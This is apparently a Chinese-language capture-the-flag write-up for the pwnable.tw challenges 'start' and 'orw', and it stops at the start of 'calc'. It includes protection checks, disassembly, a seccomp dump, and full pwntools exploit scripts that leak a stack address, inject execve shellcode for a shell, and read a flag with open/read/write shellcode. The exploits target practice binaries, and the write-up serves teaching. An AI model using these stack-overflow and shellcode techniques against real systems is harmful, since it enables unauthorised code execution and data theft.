pwnable.tw
持续更新
start
检查一下保护 和查看每个段的权限发现,栈上有可执行权限
lhj@lhj-virtual-machine:~/Desktop/pwntw/start$ checksec start
[*] '/home/lhj/Desktop/pwntw/start/start'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x08048000 0x08049000 0x00000000 r-x /home/lhj/Desktop/pwntw/start/start
0xf7ff8000 0xf7ffc000 0x00000000 r-- [vvar]
0xf7ffc000 0xf7ffe000 0x00000000 r-x [vdso]
0xfffdd000 0xffffe000 0x00000000 rwx [stack]
查看了下题目逻辑,有一个输出一个输入,执行完输入后,add 0x14使得esp到 0x804809d(exit),然后ret执行 (exit)结束程序。可以发现输入大小是0x3c,是能覆盖返回地址的。如果能把栈的地址泄露出来的话,就能往栈上写shellcode,然后ret到shellcode那
Dump of assembler code for function _start:
0x08048060 <+0>: push esp
0x08048061 <+1>: push 0x804809d
0x08048066 <+6>: xor eax,eax
0x08048068 <+8>: xor ebx,ebx
0x0804806a <+10>: xor ecx,ecx
0x0804806c <+12>: xor edx,edx
0x0804806e <+14>: push 0x3a465443
0x08048073 <+19>: push 0x20656874
0x08048078 <+24>: push 0x20747261
0x0804807d <+29>: push 0x74732073
0x08048082 <+34>: push 0x2774654c
0x08048087 <+39>: mov ecx,esp
0x08048089 <+41>: mov dl,0x14
0x0804808b <+43>: mov bl,0x1
0x0804808d <+45>: mov al,0x4
0x0804808f <+47>: int 0x80
0x08048091 <+49>: xor ebx,ebx
0x08048093 <+51>: mov dl,0x3c
0x08048095 <+53>: mov al,0x3
0x08048097 <+55>: int 0x80
0x08048099 <+57>: add esp,0x14
=> 0x0804809c <+60>: ret
会发现执行到ret的时候 stack上有一个栈相关的地址,可以通过栈溢出覆盖返回地址调用 write来把esp打印出来泄露这个地址,泄露完后刚刚好又能再read一次,第二次read就写shellcode,然后把返回地址修改成shellcode的起始地址(用泄露出来的地址,gdb去查看这个地址和shellcode的偏移来算shellcode的地址),第二次read esp到返回地址之间的距离太短了,所以在返回地址后边写shellcode。shellcode的地址 = leak_addr + 0x14(esp距离返回地址的偏移)
0x08048087 <+39>: mov ecx,esp
0x08048089 <+41>: mov dl,0x14
0x0804808b <+43>: mov bl,0x1
0x0804808d <+45>: mov al,0x4
0x0804808f <+47>: int 0x80
from pwn import *
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
elf = context.binary = ELF('./start')
libc = elf.libc
is_debug = 0
if(is_debug):
p = process()
else:
ip = "chall.pwnable.tw"
port = 10000
p = remote(ip,port)
# gdb.attach(p)
g = lambda x: gdb.attach(x)
# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)
# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)
# g(p)
payload = b'a' * 0x14 + p32(0x08048087)
sa("Let's start the CTF:",payload)
leak_rsp = u32(p.recv(4))
success(hex(leak_rsp))
shellcode = asm('''
push %s
push %s
push esp
pop ebx
xor ecx,ecx
xor edx,edx
push 0xb
pop eax
int 0x80
''' % (u32('/sh\0') , u32('/bin')))
# g(p)
payload = b'a' * 0x14 + p32(leak_rsp + 0x14) + shellcode
s(payload)
p.interactive()
orw
程序逻辑是,输入 0xC8 个字节的数据,然后call这个数据
; Attributes: bp-based frame fuzzy-sp
; int __cdecl main(int argc, const char **argv, const char **envp)
public main
main proc near
var_4= dword ptr -4
argc= dword ptr 8
argv= dword ptr 0Ch
envp= dword ptr 10h
; __unwind {
lea ecx, [esp+4]
and esp, 0FFFFFFF0h
push dword ptr [ecx-4]
push ebp
mov ebp, esp
push ecx
sub esp, 4
call orw_seccomp
sub esp, 0Ch
push offset format ; "Give my your shellcode:"
call _printf
add esp, 10h
sub esp, 4
push 0C8h ; nbytes
push offset shellcode ; buf
push 0 ; fd
call _read
add esp, 10h
mov eax, offset shellcode
call eax ; shellcode
mov eax, 0
mov ecx, [ebp+var_4]
leave
lea esp, [ecx-4]
retn
; } // starts at 8048548
main endp
输入前有一个沙箱,可以通过orw(open read write)把flag读出来,不过这里 如果 A 为 64位的话,似乎也能绕过沙箱,好像可以通过retn去修改段寄存器的某个数据来切换处理器的运行模式,不过我是直接用shellcraft来生成orw把flag读出来的
lhj@lhj-virtual-machine:~/Desktop/pwntw/orw$ seccomp-tools dump ./orw
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0x40000003 if (A != ARCH_I386) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x07 0x00 0x000000ad if (A == rt_sigreturn) goto 0011
0004: 0x15 0x06 0x00 0x00000077 if (A == sigreturn) goto 0011
0005: 0x15 0x05 0x00 0x000000fc if (A == exit_group) goto 0011
0006: 0x15 0x04 0x00 0x00000001 if (A == exit) goto 0011
0007: 0x15 0x03 0x00 0x00000005 if (A == open) goto 0011
0008: 0x15 0x02 0x00 0x00000003 if (A == read) goto 0011
0009: 0x15 0x01 0x00 0x00000004 if (A == write) goto 0011
0010: 0x06 0x00 0x00 0x00050026 return ERRNO(38)
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
exp
from pwn import *
# from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
elf = context.binary = ELF('./orw')
libc = elf.libc
is_debug = 0
if(is_debug):
p = process()
else:
ip = "chall.pwnable.tw"
port = 10001
p = remote(ip,port)
# gdb.attach(p)
g = lambda x: gdb.attach(x)
# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)
# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)
def orw_i386():
shellcode = shellcraft.open('/home/orw/flag')
shellcode += shellcraft.read('eax','esp',0x30)
shellcode += shellcraft.write(1,'esp',0x30)
return asm(shellcode)
def orw_cat_i386():
shellcode = shellcraft.i386.linux.cat2('/home/orw/flag')
return asm(shellcode)
shellcode = orw_cat_i386()
print(len(shellcode))
# g(p)
s(shellcode)
p.interactive()
calc
先分析一下程序的功能,get_expr是输入(最多位1024字节的数据),parse_expr会把输入的表达式计算出来,最后打印结果。bzero和init_pool这两个函数不太重要,只是初始化的函数